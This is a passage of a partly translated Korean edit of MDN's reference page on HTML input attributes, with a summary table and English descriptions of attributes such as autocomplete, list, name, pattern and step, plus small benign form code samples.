+<p>여기에서는 모든 속성값들에 대해 간략한 설명을 담은 표를 제공합니다. 이 표 다음에는 각각의 속성을 더욱 상세하게 설명하는 목록이 나오는데, 그들이 연관된 input 유형과 함께 나옵니다. 대부분의 혹은 모든 input 유형에 공통적인 속성들은 그 아래 더욱 상세하게 설명되어 있습니다. 몇몇 input 유형에만 특정하게 해당하는 속성들이나 모든 유형에 공통적으로 해당하지만 특정 유형에 사용될 때 특정한 행동양식을 나타내는 속성들은 그 유형의 해당 페이지에 대신 기술되어 있습니다. 이 요소에는 글로벌 속성들도 포함됩니다. input에 관련된 특별히 중요한 속성들은 하이라이트로 표시되었습니다. </p>
+
+<table class="standard-table">
+ <caption>{{htmlelement('input')}} 요소는 전역 속성(Global Attributes)과 다음 특성을 포함합니다.</caption>
+ <thead>
+ <tr>
+ <th scope="col">특성</th>
+ <th scope="col">유형</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{anch('htmlattrdefaccept', 'accept')}}</td>
+ <td>file</td>
+ <td>파일을 업로드 컨트롤에서 기대하는 파일 유형을 암시</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefalt', 'alt')}}</td>
+ <td>image</td>
+ <td>이미지 유형에 대한 대체 속성. accessibiltiy 측면에서 필요.</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefautocomplete', 'autocomplete')}}</td>
+ <td>all</td>
+ <td>양식 자동생성 기능 (form autofill) 암시</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefautofocus', 'autofocus')}}</td>
+ <td>all</td>
+ <td>페이지가 로딩될때 양식 제어에 오토포커스</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefcapture', 'capture')}}</td>
+ <td>file</td>
+ <td>파일 업로드 제어에서 input 방식에서 미디어 capture </td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefchecked', 'checked')}}</td>
+ <td>radio, checkbox</td>
+ <td>커맨드나 컨트롤이 체크 되었는지의 여부</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefdirname', 'dirname')}}</td>
+ <td>text, search</td>
+ <td>양식 전송시 요소의 방향성을 전송할 때 양식 필드의 Name</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefdisabled', 'disabled')}}</td>
+ <td>all</td>
+ <td>양식 컨트롤이 비활성화되었는지의 여부</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefform', 'form')}}</td>
+ <td>all</td>
+ <td>컨트롤을 양식 요소와 연결</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefformaction', 'formaction')}}</td>
+ <td>image, submit</td>
+ <td>양식 전송시 URL 사용하기</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefformenctype', 'formenctype')}}</td>
+ <td>image, submit</td>
+ <td>양식의 데이터 인코딩 유형이 양식 전송시 사용될 것</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefformmethod', 'formmethod')}}</td>
+ <td>image, submit</td>
+ <td>양식 전송시 HTTP 방식을 사용</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefformnovalidate', 'formnovalidate')}}</td>
+ <td>image, submit</td>
+ <td>양식 전송시 양식 컨트롤 확인을 무시하기</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefformtarget', 'formtarget')}}</td>
+ <td>image, submit</td>
+ <td>양식 전송시 브라우징 맥락</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefheight', 'height')}}</td>
+ <td>image</td>
+ <td>이미지 높이에서  <code>height</code> 속성과 같음</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdeflist', 'list')}}</td>
+ <td>almost all</td>
+ <td>datalist 자동입력 옵션의 id 속성값</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefmax', 'max')}}</td>
+ <td>numeric types</td>
+ <td>최대값</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefmaxlength', 'maxlength')}}</td>
+ <td>password, search, tel, text, url</td>
+ <td><code>value</code>의 최대 길이 (문자수) </td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefmin', 'min')}}</td>
+ <td>numeric types</td>
+ <td>최소값</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefminlength', 'minlength')}}</td>
+ <td>password, search, tel, text, url</td>
+ <td><code>value</code>의 최소 길이 (문자수)</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefmultiple', 'multiple')}}</td>
+ <td>email, file</td>
+ <td>불리언값. 여러 값을 허용할지의 여부</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefname', 'name')}}</td>
+ <td>all</td>
+ <td>input 양식 컨트롤의 이름. 이름/값 짝(name/value pair)의 일부로서 양식과 함께 전송된다</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefpattern', 'pattern')}}</td>
+ <td>password, text, tel</td>
+ <td><code>value</code> 가 유효하기 위해 일치해야 하는 패턴</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefplaceholder', 'placeholder')}}</td>
+ <td>password, search, tel, text, url</td>
+ <td>양식 컨트롤이 비어있는 때 양식 컨트롤에 나타나는 내용</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/HTML/Attributes/readonly">readonly</a></td>
+ <td>almost all</td>
+ <td>불리언값. 이 값은 수정이 불가능함</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/HTML/Attributes/required">required</a></td>
+ <td>almost all</td>
+ <td>불리언값. 양식이 전송되기 위해서 반드시 입력하거나 확인이 필요한 값</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefsize', 'size')}}</td>
+ <td>email, password, tel, text</td>
+ <td>컨트롤의 크기</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefsrc', 'src')}}</td>
+ <td>image</td>
+ <td>이미지 출처의 주소에서 <code>src</code> 와 같은 속성</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefstep', 'step')}}</td>
+ <td>numeric types</td>
+ <td>유효한 증분적인 (Incremental)값</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdeftype', 'type')}}</td>
+ <td>all</td>
+ <td>input 양식 컨트롤의 유형</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefvalue', 'value')}}</td>
+ <td>all</td>
+ <td>양식 컨트롤의 현재 값. 이름/값 짝(name/value pair)의 일부로서 양식과 함께 전송된다</td>
+ </tr>
+ <tr>
+ <td>{{anch('htmlattrdefwidth', 'width')}}</td>
+ <td>image</td>
+ <td>이미지의  <code>width</code> 속성과 같다</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>A few additional non-standard attributes are listed following the descriptions of the standard attributes</p>
+
+<h3 id="개별_속성">개별 속성</h3>
+
+<dl>
+ <dt id="htmlattrdefaccept">{{htmlattrdef("accept")}}</dt>
+ <dd>
+ <p>Valid for the <code>file</code> input type only, the <code>accept</code> property defines which file types are selectable in a <code>file</code> upload control. See the {{HTMLElement("input/file", "file")}} input type.</p>
+ </dd>
+ <dt id="htmlattrdefalt">{{htmlattrdef("alt")}}</dt>
+ <dd>
+ <p>Valid for the <code>image</code> button only, the alt attribute provides alternative text for the image, displaying the value of the attribute if the image {{anch("src")}} is missing or otherwise fails to load. See the {{HTMLElement("input/image", "image")}} input type.</p>
+ </dd>
+ <dt id="htmlattrdefautocomplete">{{htmlattrdef("autocomplete")}}</dt>
+ <dd>
+ <p><strong>Not</strong> a Boolean attribute, the <code><a href="/en-US/docs/Web/HTML/Attributes/autocomplete">autocomplete</a></code> attribute takes as its value a space separated string that describes what, if any, type of autocomplete functionality the input should provide. A typical implementation of autocomplete simply recalls previous values entered in the same input field, but more complex forms of autocomplete can exist. For instance, a browser could integrate with a device's contacts list to autocomplete email addresses in an email input field. See {{SectionOnPage("/en-US/docs/Web/HTML/Attributes/autocomplete", "Values")}} for permitted values.</p>
+
+ <p>The <code>autocomplete</code> attribute is valid on <code>hidden</code>, <code>text</code>, <code>search</code>, <code>url</code>, <code>tel</code>, <code>email</code>, <code>date</code>, <code>month</code>, <code>week</code>, <code>time</code>, <code>datetime-local</code>, <code>number</code>, <code>range</code>, <code>color</code> and <code>password</code>. This attribute has no effect on input types that do not return numeric or text data, being valid for all input types except <code>checkbox</code>, <code>radio</code>, <code>file</code>, or any of the button types. See <a href="/en-US/docs/Web/HTML/Attributes/autocomplete">The HTML autocomplete attribute</a> for additional information, including information on password security and how <code>autocomplete</code> is slightly different for <code>hidden</code> than for other input types.</p>
+ </dd>
+ <dt id="htmlattrdefautofocus">{{htmlattrdef("autofocus")}}</dt>
+ <dd>
+ <p>A Boolean attribute which, if present, indicates that the input should automatically have focus when the page has finished loading (or when the {{HTMLElement("dialog")}} containing the element has been displayed).</p>
+
+ <div class="note">
+ <p><strong>Note:</strong> An element with the <code>autofocus</code> attribute may gain focus before the {{domxref("DOMContentLoaded")}} event is fired.</p>
+ </div>
+
+ <p>No more than one element in the document may have the <code>autofocus</code> attribute, and <code>autofocus</code> cannot be used on inputs of type <code>hidden</code>, because hidden inputs can't be focused. If put on more than one element, the first one with the attribute receives focus .</p>
+
+ <div class="warning">
+ <p><strong>Warning:</strong> Automatically focusing a form control can confuse visually-impaired people using screen-reading technology and people with cognitive impairments. When <code>autofocus</code> is assigned, screen-readers "teleport" their user to the form control without warning them beforehand.</p>
+ </div>
+
+ <p>For better usability, avoid using <code>autofocus</code>. Automatically focusing on a form control can cause the page to scroll on load. The focus can also cause dynamic keyboards to display on some touch devices. While a screen reader will announce the label of the form control receiving focus, the screen reader will not announce anything before the label, and the sighted user on a small device will equally miss the context created by the preceding content.</p>
+ </dd>
+ <dt id="htmlattrdefcapture">{{htmlattrdef("capture")}}</dt>
+ <dd>
+ <p>Introduced in the HTML Media Capture specification and valid for the <code>file</code> input type only, the <code>capture</code> attribute defines which media - microphone, video, or camera - should be used to capture a new file for upload with <code>file</code> upload control in supporting scenarios. See the {{HTMLElement("input/file", "file")}} input type.</p>
+ </dd>
+ <dt id="htmlattrdefchecked">{{htmlattrdef("checked")}}</dt>
+ <dd>
+ <p>Valid for both <code>radio</code> and <code>checkbox</code> types, <code>checked</code> is a Boolean attribute. If present on a radio type, it indicates that that radio button is the currently selected one in the group of same-named radio buttons. If present on a <code>checkbox</code> type, it indicates that the checkbox is checked by default (when the page loads). It does <em>not</em> indicate whether this checkbox is currently checked: if the checkbox’s state is changed, this content attribute does not reflect the change. (Only the <a href="/en-US/docs/Web/API/HTMLInputElement"><code>HTMLInputElement</code>’s <code>checked</code> IDL attribute</a> is updated.)</p>
+
+ <div class="note">
+ <p><strong>Note:</strong> Unlike other input controls, a checkboxes and radio buttons value are only included in the submitted data if they are currently <code>checked</code>. If they are, the name and the value(s) of the checked controls are submitted.</p>
+
+ <p>For example, if a checkbox whose <code>name</code> is <code>fruit</code> has a <code>value</code> of <code>cherry</code>, and the checkbox is checked, the form data submitted will include <code>fruit=cherry</code>. If the checkbox isn't active, it isn't listed in the form data at all. The default <code>value</code> for checkboxes and radio buttons is <code>on</code>.</p>
+ </div>
+ </dd>
+ <dt id="htmlattrdefdirname">{{htmlattrdef("dirname")}}</dt>
+ <dd>
+ <p>Valid for <code>text</code> and <code>search</code> input types only, the <code>dirname</code> attribute enables the submission of the directionality of the element. When included, the form control will submit with two name/value pairs: the first being the {{anch('name')}} and {{anch('value')}}, the second being the value of the <code>dirname</code> as the name with the value of <code>ltr</code> or <code>rtl</code> being set by the browser.</p>
+
+ <pre class="notranslate"><code class="html">&lt;form action="page.html" method="post"&gt;
+ &lt;label&gt;Fruit: &lt;input type="text" name="fruit" dirname="fruit.dir" value="cherry"&gt;&lt;/label&gt;
+ &lt;input type="submit"/&gt;
+&lt;/form&gt;
+&lt;!-- page.html?fruit=cherry&amp;fruit.dir=ltr --&gt;</code>
+</pre>
+
+ <p>When the form above is submitted, the input cause both the <code>name</code> / <code>value</code> pair of <code>fruit=cherry</code> and the <code>dirname</code> / direction pair of <code>fruit.dir=ltr</code> to be sent.</p>
+ </dd>
+ <dt id="htmlattrdefdisabled">{{htmlattrdef("disabled")}}</dt>
+ <dd>
+ <p>A Boolean attribute which, if present, indicates that the user should not be able to interact with the input. Disabled inputs are typically rendered with a dimmer color or using some other form of indication that the field is not available for use.</p>
+
+ <p>Specifically, disabled inputs do not receive the {{event("click")}} event, and disabled inputs are not submitted with the form.</p>
+
+ <div class="note">
+ <p><strong>Note:</strong> Although not required by the specification, Firefox will by default <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persist the dynamic disabled state</a> of an <code>&lt;input&gt;</code> across page loads. Use the {{htmlattrxref("autocomplete","input")}} attribute to control this feature.</p>
+ </div>
+ </dd>
+ <dt id="htmlattrdefform">{{htmlattrdef("form")}}</dt>
+ <dd>
+ <p>A string specifying the {{HTMLElement("form")}} element with which the input is associated (that is, its <strong>form owner</strong>). This string's value, if present, must match the {{htmlattrxref("id")}} of a <code>&lt;form&gt;</code> element in the same document. If this attribute isn't specified, the <code>&lt;input&gt;</code> element is associated with the nearest containing form, if any.</p>
+
+ <p>The <code>form</code> attribute lets you place an input anywhere in the document but have it included with a form elsewhere in the document.</p>
+
+ <div class="note">
+ <p><strong>Note:</strong> An input can only be associated with one form.</p>
+ </div>
+ </dd>
+ <dt id="htmlattrdefformaction">{{htmlattrdef('formaction')}}</dt>
+ <dd>
+ <p>Valid for the <code>image</code> and <code>submit</code> input types only. See the {{HTMLElement("input/submit", "submit")}} input type for more information.</p>
+ </dd>
+ <dt id="htmlattrdefformenctype">{{htmlattrdef('formenctype')}}</dt>
+ <dd>
+ <p>Valid for the <code>image</code> and <code>submit</code> input types only. See the {{HTMLElement("input/submit", "submit")}} input type for more information.</p>
+ </dd>
+ <dt id="htmlattrdefformmethod">{{htmlattrdef('formmethod')}}</dt>
+ <dd>
+ <p>Valid for the <code>image</code> and <code>submit</code> input types only. See the {{HTMLElement("input/submit", "submit")}} input type for more information.</p>
+ </dd>
+ <dt id="htmlattrdefformnovalidate">{{htmlattrdef('formnovalidate')}}</dt>
+ <dd>
+ <p>Valid for the <code>image</code> and <code>submit</code> input types only. See the {{HTMLElement("input/submit", "submit")}} input type for more information.</p>
+ </dd>
+ <dt id="htmlattrdefformtarget">{{htmlattrdef('formtarget')}}</dt>
+ <dd>
+ <p>Valid for the <code>image</code> and <code>submit</code> input types only. See the {{HTMLElement("input/submit", "submit")}} input type for more information.</p>
+ </dd>
+ <dt id="htmlattrdefheight">{{htmlattrdef("height")}}</dt>
+ <dd>
+ <p>Valid for the <code>image</code> input button only, the <code>height</code> is the height of the image file to display to represent the graphical submit button. See the {{HTMLElement("input/image", "image")}} input type.</p>
+ </dd>
+ <dt id="htmlattrdefheight">{{htmlattrdef("id")}}</dt>
+ <dd>
+ <p>Global attribute valid for all elements, including all the input types, it defines a unique identifier (ID) which must be unique in the whole document. Its purpose is to identify the element when linking. The value is used as the value of the {{htmlelement('label')}}'s <code>for</code> attribute to link the label with the form control. See the {{anch('the label element')}} below.</p>
+ </dd>
+ <dt id="htmlattrdefheight">{{htmlattrdef("inputmode")}}</dt>
+ <dd>
+ <p>Global value valid for all elements, it provides a hint to browsers as to the type of virtual keyboard configuration to use when editing this element or its contents. Values include none<br>
+ <code>text</code>, <code>tel</code>, <code>url</code>, <code>email</code>, <code>numeric</code>, <code>decimal</code>, and <code>search</code></p>
+ </dd>
+ <dt id="htmlattrdeflist">{{htmlattrdef("list")}}</dt>
+ <dd id="datalist">
+ <p>The values of the list attribute is the {{domxref("Element.id", "id")}} of a {{HTMLElement("datalist")}} element located in the same document. The <code>&lt;datalist&gt;</code> provides a list of predefined values to suggest to the user for this input. Any values in the list that are not compatible with the {{htmlattrxref("type", "input")}} are not included in the suggested options. The values provided are suggestions, not requirements: users can select from this predefined list or provide a different value.</p>
+
+ <pre class="brush: html hidden notranslate">&lt;datalist id="colorsxx"&gt;
+ &lt;option&gt;#ff0000&lt;/option&gt;
+ &lt;option&gt;#ee0000&lt;/option&gt;
+ &lt;option&gt;#dd0000&lt;/option&gt;
+ &lt;option&gt;#cc0000&lt;/option&gt;
+ &lt;option&gt;#bb0000&lt;/option&gt;
+&lt;/datalist&gt;
+&lt;datalist id="numbersxx"&gt;
+ &lt;option&gt;0&lt;/option&gt;
+ &lt;option&gt;2&lt;/option&gt;
+ &lt;option&gt;4&lt;/option&gt;
+ &lt;option&gt;8&lt;/option&gt;
+ &lt;option&gt;16&lt;/option&gt;
+ &lt;option&gt;32&lt;/option&gt;
+ &lt;option&gt;64&lt;/option&gt;
+&lt;/datalist&gt;
+&lt;datalist id="fruitsxx"&gt;
+ &lt;option&gt;cherry&lt;/option&gt;
+ &lt;option&gt;banana&lt;/option&gt;
+ &lt;option&gt;mango&lt;/option&gt;
+ &lt;option&gt;orange&lt;/option&gt;
+ &lt;option&gt;blueberry&lt;/option&gt;
+&lt;/datalist&gt;
+&lt;datalist id="urlsxx"&gt;
+ &lt;option&gt;https://developer.mozilla.org&lt;/option&gt;
+ &lt;option&gt;https://caniuse.com/&lt;/option&gt;
+ &lt;option&gt;https://mozilla.com&lt;/option&gt;
+ &lt;option&gt;https://mdn.github.io&lt;/option&gt;
+ &lt;option&gt;https://www.youtube.com/user/firefoxchannel&lt;/option&gt;
+&lt;/datalist&gt;
+
+&lt;p&gt;&lt;label for="textx"&gt;Text&lt;/label&gt; &lt;input type="text" list="fruitsxx" id="textx"/&gt;&lt;/p&gt;
+&lt;p&gt;&lt;label for="colorx"&gt;Color&lt;/label&gt; &lt;input type="color" list="colorsxx" id="colorx"/&gt;&lt;/p&gt;
+&lt;p&gt;&lt;label for="rangex"&gt;Range&lt;/label&gt; &lt;input type="range" min="0" max="64" list="numbersxx" id="rangex"/&gt;&lt;/p&gt;
+&lt;p&gt;&lt;label for="numberx"&gt;Number&lt;/label&gt; &lt;input type="number" min="0" max="64" list="numbersxx" id="numberx"/&gt;&lt;/p&gt;
+&lt;p&gt;&lt;label for="urlx"&gt;URL&lt;/label&gt; &lt;input type="url" list="urlsxx" id="urlx"/&gt;&lt;/p&gt;</pre>
+
+ <p>{{EmbedLiveSample("datalist",400,275,"","", "nobutton")}}</p>
+
+ <p>It is valid on <code>text</code>, <code>search</code>, <code>url</code>, <code>tel</code>, <code>email</code>, <code>date</code>, <code>month</code>, <code>week</code>, <code>time</code>, <code>datetime-local</code>, <code>number</code>, <code>range</code>, and <code>color.</code>Per the specifications, the <code>list</code> attribute is not supported by the <code>hidden</code>, <code>password</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, or any of the button types.</p>
+
+ <p>Depending on the browser, the user may see a custom color palette suggested, tic marks along a range, or even a input that opens like a select but allows for non-listed values. Check out the <a href="/en-US/docs/Web/HTML/Element/datalist#Browser_compatibility">browser compatibility table</a> for the other input types.</p>
+
+ <p>See the {{htmlelement('datalist')}} element.</p>
+ </dd>
+ <dt id="htmlattrdefmax"><a href="/en-US/docs/Web/HTML/Attributes/max">{{htmlattrdef("max")}}</a></dt>
+ <dd>
+ <p>Valid for <code>date</code>, <code>month</code>, <code>week</code>, <code>time</code>, <code>datetime-local</code>, <code>number</code>, and <code>range</code>, it defines the greatest value in the range of permitted values. If the {{htmlattrxref("value", "input")}} entered into the element exceeds this, the element fails <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">constraint validation</a>. If the value of the <code>max</code> attribute isn't a number, then the element has no maximum value.</p>
+ </dd>
+ <dt id="htmlattrdefmaxlength">{{htmlattrdef("maxlength")}}</dt>
+ <dd>
+ <p>Valid for <code>text</code>, <code>search</code>, <code>url</code>, <code>tel</code>, <code>email</code>, and <code>password</code>, it defines the maximum number of characters (as UTF-16 code units) the user can enter into the field. This must be an integer value 0 or higher. If no <code>maxlength</code> is specified, or an invalid value is specified, the field has no maximum length. This value must also be greater than or equal to the value of <code>minlength</code>.</p>
+
+ <p>The input will fail <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">constraint validation</a> if the length of the text entered into the field is greater than <code>maxlength</code> UTF-16 code units long. By default, browsers prevent users from entering more characters than allowed by the <code>maxlength</code> attribute. See {{anch("Client-side validation")}} for more information.</p>
+ </dd>
+ <dt id="htmlattrdefmin">{{htmlattrdef("min")}}</dt>
+ <dd>
+ <p>Valid for <code>date</code>, <code>month</code>, <code>week</code>, <code>time</code>, <code>datetime-local</code>, <code>number</code>, and <code>range</code>, it defines the most negative value in the range of permitted values. If the {{htmlattrxref("value", "input")}} entered into the element is less than this this, the element fails <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">constraint validation</a>. If the value of the <code>min</code> attribute isn't a number, then the element has no minimum value.</p>
+
+ <p>This value must be less than or equal to the value of the <code>max</code> attribute. If the <code>min</code> attribute is present by is not specified or is invalid, no <code>min</code> value is applied. If the <code>min</code> attribute is valid and a non-empty value is less than the minimum allowed by the <code>min</code> attribute, constraint validation will prevent form submission. See {{anch("Client-side validation")}} for more information.</p>
+ </dd>
+ <dt id="htmlattrdefminlength">{{htmlattrdef("minlength")}}</dt>
+ <dd>
+ <p>Valid for <code>text</code>, <code>search</code>, <code>url</code>, <code>tel</code>, <code>email</code>, and <code>password</code>, it defines the minimum number of characters (as UTF-16 code units) the user can enter into the entry field. This must be an non-negative integer value smaller than or equal to the value specified by <code>maxlength</code>. If no <code>minlength</code> is specified, or an invalid value is specified, the input has no minimum length.</p>
+
+ <p>The input will fail <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">constraint validation</a> if the length of the text entered into the field is fewer than <code>minlength</code> UTF-16 code units long, preventing form submission. See {{anch("Client-side validation")}} for more information.</p>
+ </dd>
+ <dt id="htmlattrdefmultiple">{{htmlattrdef("multiple")}}</dt>
+ <dd>
+ <p>The Boolean multiple attribute, if set, means the user can enter comma separated email addresses in the email widget or can choose more than one file with the <code>file</code> input. See the {{HTMLElement("input/email", "email")}} and {{HTMLElement("input/file", "file")}} input type.</p>
+ </dd>
+ <dt id="htmlattrdefname">{{htmlattrdef("name")}}</dt>
+ <dd>
+ <p>A string specifying a name for the input control. This name is submitted along with the control's value when the form data is submitted.</p>
+
+ <h5 id="Whats_in_a_name">What's in a name</h5>
+
+ <p>Consider the <code>name</code> a required attribute (even though it's not). If an input has no <code>name</code> specified, or <code>name</code> is empty, the input's value is not submitted with the form. (Disabled controls, unchecked radio buttons, unchecked checkboxes, and reset buttons are also not sent.)</p>
+
+ <p>There are two special cases:</p>
+
+ <ol>
+ <li><code>_charset_</code> : If used as the name of an <code>&lt;input&gt;</code> element of type <code><a href="/en-US/docs/Web/HTML/Element/input/hidden">hidden</a></code>, the input's <code>value</code> is automatically set by the <a class="glossaryLink" href="/en-US/docs/Glossary/user_agent" title="user agent: A user agent is a computer program representing a person, for example, a browser in a Web context.">user agent</a> to the character encoding being used to submit the form.</li>
+ <li><code>isindex</code>: For historical reasons, the name <code><a href="https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#attr-fe-name">isindex</a></code> is not allowed.</li>
+ </ol>
+
+ <h5 id="name_and_radio_buttons"><code>name</code> and radio buttons</h5>
+
+ <p>The {{anch('name')}} attribute creates a unique behavior for radio buttons.</p>
+
+ <p>Only one radio button in a same-named group of radio buttons can be checked at a time. Selecting any radio button in that group automatically deselects any currently-selected radio button in the same group. The value of that one checked radio button is sent along with the name if the form is submitted,</p>
+
+ <p>When tabbing into a series of same-named group of radio buttons, if one is checked, that one will receive focus. If they aren't grouped together in source order, if one of the group is checked, tabbing into the group starts when the first one in the group is encountered, skipping all those that aren't checked. In other words, if one is checked, tabbing skips the unchecked radio buttons in the group. If none are checked, the radio button group receives focus when the first button in the same name group is reached.</p>
+
+ <p>Once one of the radio buttons in a group has focus, using the arrow keys will navigate thru all the radio buttons of the same name, even if the radio buttons are not grouped together in the source order.</p>
+
+ <h5 id="domxrefHTMLFormElement.elements">{{domxref("HTMLFormElement.elements")}}</h5>
+
+ <p>When an input element is given a <code>name</code>, that name becomes a property of the owning form element's {{domxref("HTMLFormElement.elements")}} property. If you have an input whose <code>name</code> is set to <code>guest</code> and another whose <code>name</code> is <code>hat-size</code>, the following code can be used:</p>
+
+ <pre class="brush: js notranslate">let form = document.querySelector("form");
+
+let guestName = form.elements.guest;
+let hatSize = form.elements["hat-size"];
+</pre>
+
+ <p>When this code has run, <code>guestName</code> will be the {{domxref("HTMLInputElement")}} for the <code>guest</code> field, and <code>hatSize</code> the object for the <code>hat-size</code> field.</p>
+
+ <div class="warning">
+ <p><strong>Warning:</strong> You should avoid giving form elements a <code>name</code> that corresponds to a built-in property of the form, since you would then override the predefined property or method with this reference to the corresponding input.</p>
+ </div>
+ </dd>
+ <dt id="htmlattrdefpattern">{{htmlattrdef("pattern")}}</dt>
+ <dd>
+ <div id="pattern-include">
+ <p>The <code>pattern</code> attribute, when specified, is a regular expression that the input's {{htmlattrxref("value")}} must match in order for the value to pass <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">constraint validation</a>. It must be a valid JavaScript regular expression, as used by the {{jsxref("RegExp")}} type, and as documented in our <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">guide on regular expressions</a>; the <code>'u'</code> flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text.</p>
+
+ <p>If the <code>pattern</code> attribute is present but is not specified or is invalid, no regular expression is applied and this attribute is ignored completely. If the pattern attribute is valid and a non-empty value does not match the pattern, constraint validation will prevent form submission.</p>
+
+ <div class="note">
+ <p><strong>Tip:</strong> If using the <code>pattern</code> attribute, inform the user about the expected format by including explanatory text nearby. You can also include a {{htmlattrxref("title", "input")}} attribute to explain what the requirements are to match the pattern; most browsers will display this title as as a tooltip The visible explanation is required for accessibilty. The tooltip is an enhancement.</p>
+ </div>
+ </div>
+
+ <p>See {{anch("Client-side validation")}} for more information.</p>
+ </dd>
+ <dt id="htmlattrdefplaceholder">{{htmlattrdef("placeholder")}}</dt>
+ <dd>
+ <p>The <code>placeholder</code> attribute is a string that provides a brief hint to the user as to what kind of information is expected in the field. It should be a word or short phrase that demonstrates the expected type of data, rather than an explanatory message. The text <em>must not</em> include carriage returns or line feeds.</p>
+
+ <div class="note">
+ <p><strong>Note:</strong> The <code>placeholder</code> attribute is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See {{SectionOnPage("/en-US/docs/Web/HTML/Element/input", "Labels and placeholders")}} for more information.</p>
+ </div>
+ </dd>
+ <dt id="htmlattrdefreadonly">{{htmlattrdef("readonly")}}</dt>
+ <dd>
+ <p>A Boolean attribute which, if present, indicates that the user should not be able to edit the value of the input. The <code>readonly</code> attribute is supported <code>text</code>, <code>search</code>, <code>url</code>, <code>tel</code>, <code>email</code>, <code>date</code>, <code>month</code>, <code>week</code>, <code>time</code>, <code>datetime-local</code>, <code>number</code>, and <code>password</code> input types.</p>
+
+ <p>See the <a href="/en-US/docs/Web/HTML/Attributes/readonly">HTML attribute: <code>readonly</code></a> for more information.</p>
+ </dd>
+ <dt id="htmlattrdefrequired">{{htmlattrdef("required")}}</dt>
+ <dd>
+ <p><code>required</code> is a Boolean attribute which, if present, indicates that the user must specify a value for the input before the owning form can be submitted. The <code>required</code> attribute is supported <code>text</code>, <code>search</code>, <code>url</code>, <code>tel</code>, <code>email</code>, <code>date</code>, <code>month</code>, <code>week</code>, <code>time</code>, <code>datetime-local</code>, <code>number</code>, <code>password</code>, <code>checkbox</code>, <code>radio</code>, and <code>file</code>.</p>
+
+ <p>See {{anch("Client-side validation")}} and the <a href="/en-US/docs/Web/HTML/Attributes/required">HTML attribute: <code>required</code></a> for more information.</p>
+ </dd>
+ <dt id="htmlattrdefsize">{{htmlattrdef("size")}}</dt>
+ <dd>Valid for <code>email</code>, <code>password</code>, <code>tel</code>, and text <code>input</code> types only. Specifies how much of the input is shown. Basically creates same result as setting CSS <code>width</code> property with a few specialities. The actual unit of the value depends on the input type. For password and text it's number of characters (or <code>em</code> units) and <code>pixel</code>s for others. CSS width takes precedence over size attribute.</dd>
+ <dt id="htmlattrdefsrc">{{htmlattrdef("src")}}</dt>
+ <dd>
+ <p>Valid for the <code>image</code> input button only, the <code>src</code> is string specifying the URL of the image file to display to represent the graphical submit button. See the {{HTMLElement("input/image", "image")}} input type.</p>
+ </dd>
+ <dt id="htmlattrdefstep">{{htmlattrdef("step")}}</dt>
+ <dd>
+ <div id="step-include">
+ <p>Valid for the numeric input types, including <code>number</code>, date/time input types, and <code>range</code>, the <code><a href="/en-US/docs/Web/HTML/Attributes/step">step</a></code> attribute is a number that specifies the granularity that the value must adhere to.</p>
+
+ <p>If not explicitly included, <code>step</code> defaults to 1 for <code>number</code> and <code>range</code>, and 1 unit type (second, week, month, day) for the date/time input types. The value can must be a positive number - integer or float -- or the special value <code>any</code>, which means no stepping is implied, and any value is allowed (barring other constraints, such as <code>{{anch("min")}}</code> and <code>{{anch("max")}}</code>).</p>
+
